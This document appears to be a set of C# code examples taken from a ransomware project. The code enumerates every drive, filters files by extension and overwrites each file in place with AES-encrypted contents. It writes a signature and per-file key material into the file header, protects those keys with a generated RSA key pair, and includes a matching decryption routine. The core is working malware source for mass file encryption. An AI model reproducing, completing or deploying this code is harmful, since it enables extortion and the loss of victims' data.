Beispiel #1
0
        static int Main(string[] args)
        {
            Trace.Listeners.Add(new ConsoleTraceListener());

            // Control Variables
            string operation = (args.Length > 0 && args[0] == "--decrypt" ? "D" : "E");

#if DEBUG
            // Debug FingerPrint Generation
            string fp = null;
            ComputerIdStrategy.GenerateFP(ref fp);

            Trace.WriteLine("[+] System FingerPrint: " + fp);
#endif

            // Handle Basic Files
            CriptoKeyManager.EnsureLocalPublicKey();

            int         resultValue = -1;
            ThreadStart ts          = null;

            // Handler Operation
            if ("E" == operation)
            {
                // Create ThreadStart With Handler
                ts = new ThreadStart(Enc);

                resultValue = 0; // Encryption OK
            }
            else if ("D" == operation)
            {
                // Create ThreadStart With Handler
                ts = new ThreadStart(Dec);

                resultValue = 1; // Decryption OK
            }

            if (ts != null)
            {
                Thread t = new Thread(ts);
                t.Priority     = ThreadPriority.BelowNormal;
                t.IsBackground = true;
                t.Start();

                t.Join();
            }

            return(resultValue);
        }
        /// <summary>
        /// Main Decryption Method
        /// </summary>
        public void DecryptDisk()
        {
#if DEBUG
            Trace.WriteLine("[*] DecryptDisk");
#endif
            // Enumerate All Device Disks
            DriveInfo[] drives = DriveInfo.GetDrives();

            // Force Generate Aes Engine
            CriptoKeyManager.RotateAesKey();

#if DEBUG
            Trace.WriteLine("[+] Drives Enumerated Successfully. " + drives.Length + " Drives Found");
#endif

            // Iterate Drivers
            foreach (DriveInfo drive in drives)
            {
                DecryptDrive(drive);
            }
        }
Beispiel #3
0
        private void EncryptFile(FileInfo file)
        {
            // Simple Thread Wait
            Thread.Sleep(10);

#if DEBUG
            Trace.WriteLine("");
            Trace.WriteLine("[*] EncryptFile (" + file.Name + ")");
            Trace.Indent();
#endif

            // Check File in Filter
            if (Common.FileInFilter(file.Extension))
            {
                // File Signature Decision Gate
                if (!Common.CheckSignature(file))
                {
                    // Encrypt
#if DEBUG
                    Trace.WriteLine("[+] File to Encrypt");
#endif
                    // Try to Rotate Key
                    CriptoKeyManager.RotateAesKey();

                    // Read File Data
                    Byte[] fileData = null;
                    FileManager.ReadFile(file, ref fileData);

                    // Encrypt File
                    using (FileStream fs = File.OpenWrite(file.FullName))
                    {
                        fs.Position = 0;

                        // Write Control Structure
                        fs.Write(ConfigurationManager.FILE_SIGNATURE, 0, ConfigurationManager.FILE_SIGNATURE_SIZE);
                        fs.Write(CriptoKeyManager.CURRENT_FILE_ENCRIPTION_KEY, 0, CriptoKeyManager.CURRENT_FILE_ENCRIPTION_KEY.Length);
                        fs.Write(CriptoKeyManager.CURRENT_FILE_ENCRIPTION_IV, 0, CriptoKeyManager.CURRENT_FILE_ENCRIPTION_IV.Length);

                        fs.Flush();

                        // Write Encrypted Data
                        CriptoFileManager.Encrypt(fs, ref fileData);
                    }
                }
                else
                {
#if DEBUG
                    Trace.WriteLine("[+] File Alread Encrypted");
#endif
                }
            }
            else
            {
#if DEBUG
                Trace.WriteLine("[+] File Filter not Allowed");
#endif
            }


#if DEBUG
            Trace.Unindent();
#endif
        }
Beispiel #4
0
        public unsafe static void EnsureLocalPublicKey()
        {
#if DEBUG
            Trace.WriteLine("[*] EnsureLocalPublicKey");
            Trace.Indent();
#endif

            if (File.Exists(ConfigurationManager.LOCAL_PUB_KEY_NAME))
            {
#if DEBUG
                Trace.WriteLine("[+] Loading File");
#endif
                // Load Public Key
                using (FileStream fs = File.OpenRead(ConfigurationManager.LOCAL_PUB_KEY_NAME))
                {
                    // Read
                    byte[] unsecureArray = new byte[fs.Length];
                    fs.Read(unsecureArray, 0, unsecureArray.Length);

                    // To String
                    string unsecureData = Encoding.ASCII.GetString(unsecureArray);
                    Common.ClearArray(ref unsecureArray);

                    // To SecureString
                    fixed(char *p = unsecureData)
                    {
                        PUBLIC_KEY = new SecureString(p, unsecureData.Length);
                        PUBLIC_KEY.MakeReadOnly();
                    }

                    Common.ClearString(ref unsecureData);
                }

                // Load Private Key
                using (FileStream fs = File.OpenRead(ConfigurationManager.LOCAL_PRI_KEY_NAME))
                {
                    // Read
                    Byte[] unsecureArray = new Byte[fs.Length];
                    fs.Read(unsecureArray, 0, unsecureArray.Length);

                    // To String
                    String unsecureData = ASCIIEncoding.ASCII.GetString(unsecureArray);
                    Common.ClearArray(ref unsecureArray);

                    // To SecureString
                    fixed(char *p = unsecureData)
                    {
                        PRIVATE_KEY = new SecureString(p, unsecureData.Length);
                        PRIVATE_KEY.MakeReadOnly();
                    }

                    Common.ClearString(ref unsecureData);
                }
            }
            else
            {
#if DEBUG
                Trace.WriteLine("[+] Creating New File");
#endif
                // Generate a New One
                CriptoKeyManager.GenRsaKeyPair(ref PRIVATE_KEY, ref PUBLIC_KEY);

                // Save Into File
                using (FileStream fs = new FileStream(ConfigurationManager.LOCAL_PUB_KEY_NAME, FileMode.Create))
                {
                    // Open
                    String unsecureContent = "";
                    Common.OpenSecureString(ref unsecureContent, ref PUBLIC_KEY);

                    // To Array
                    Byte[] unsecureArray = ASCIIEncoding.ASCII.GetBytes(unsecureContent);
                    Common.ClearString(ref unsecureContent);

                    // To File
                    fs.Write(unsecureArray, 0, unsecureArray.Length);
                    Common.ClearArray(ref unsecureArray);
                }

#if DEBUG
                // Se Debug, grava a Private Key no Local Também ;)
                using (FileStream fs = new FileStream(ConfigurationManager.LOCAL_PRI_KEY_NAME, FileMode.Create))
                {
                    // Open
                    String unsecureContent = "";
                    Common.OpenSecureString(ref unsecureContent, ref PRIVATE_KEY);

                    // To Array
                    Byte[] unsecureArray = ASCIIEncoding.ASCII.GetBytes(unsecureContent);
                    Common.ClearString(ref unsecureContent);

                    // To File
                    fs.Write(unsecureArray, 0, unsecureArray.Length);
                    Common.ClearArray(ref unsecureArray);
                }
#endif
            }

#if DEBUG
            Trace.Unindent();
#endif
        }
        /// <summary>
        /// Decrypt a Single File
        /// </summary>
        /// <param name="file"></param>
        private void DecryptFile(FileInfo file)
        {
#if DEBUG
            Trace.WriteLine("");
            Trace.WriteLine("[*] DecryptFile (" + file.Name + ")");
            Trace.Indent();
#endif
            // File Signature Decision Gate
            if (Common.CheckSignature(file))
            {
#if DEBUG
                Trace.WriteLine("[+] File to Decrypt");
#endif
                // Read File Data
                byte[] encryptedFileKey;
                byte[] encryptedFileIv;
                byte[] fileKey     = null;
                byte[] fileIv      = null;
                byte[] fileRawData = null;
                int    keyStartIndex;
                int    ivStartIndex;
                string tempFileName = file.FullName + ".wrk";

                // Read File Data
                FileManager.ReadFile(file, ref fileRawData);

                // Compute Key Start Index
                keyStartIndex = ConfigurationManager.FILE_SIGNATURE_SIZE;

                // Get Key
                encryptedFileKey = new byte[CriptoKeyManager.CURRENT_FILE_ENCRIPTION_KEY.Length];
                Array.Copy(fileRawData, keyStartIndex, encryptedFileKey, 0, CriptoKeyManager.CURRENT_FILE_ENCRIPTION_KEY.Length);

                // Compute IV Start Index
                ivStartIndex = keyStartIndex + encryptedFileKey.Length;

                // Get Iv
                encryptedFileIv = new byte[CriptoKeyManager.CURRENT_FILE_ENCRIPTION_IV.Length];
                Array.Copy(fileRawData, ivStartIndex, encryptedFileIv, 0, CriptoKeyManager.CURRENT_FILE_ENCRIPTION_IV.Length);

                // Decrypt Key and Iv
                CriptoKeyManager.UnprotectAesKey(ref encryptedFileKey, ref fileKey, ref encryptedFileIv, ref fileIv);

                // Decrypt File
                using (FileStream fs = File.Create(tempFileName))
                {
                    fs.Position = 0;

                    // Write Encrypted Data
                    CriptoFileManager.Decrypt(fs, ref fileRawData, ConfigurationManager.FILE_SIGNATURE_SIZE + encryptedFileKey.Length + encryptedFileIv.Length, fileKey, fileIv);
                }

                // Delete Old File
                file.Delete();

                // Copy Temp File Into Old File
                File.Copy(tempFileName, file.FullName);

                // Remove Temp File
                File.Delete(tempFileName);
            }
            else
            {
#if DEBUG
                Trace.WriteLine("[+] File is Not Encrypted");
#endif
            }


#if DEBUG
            Trace.Unindent();
#endif
        }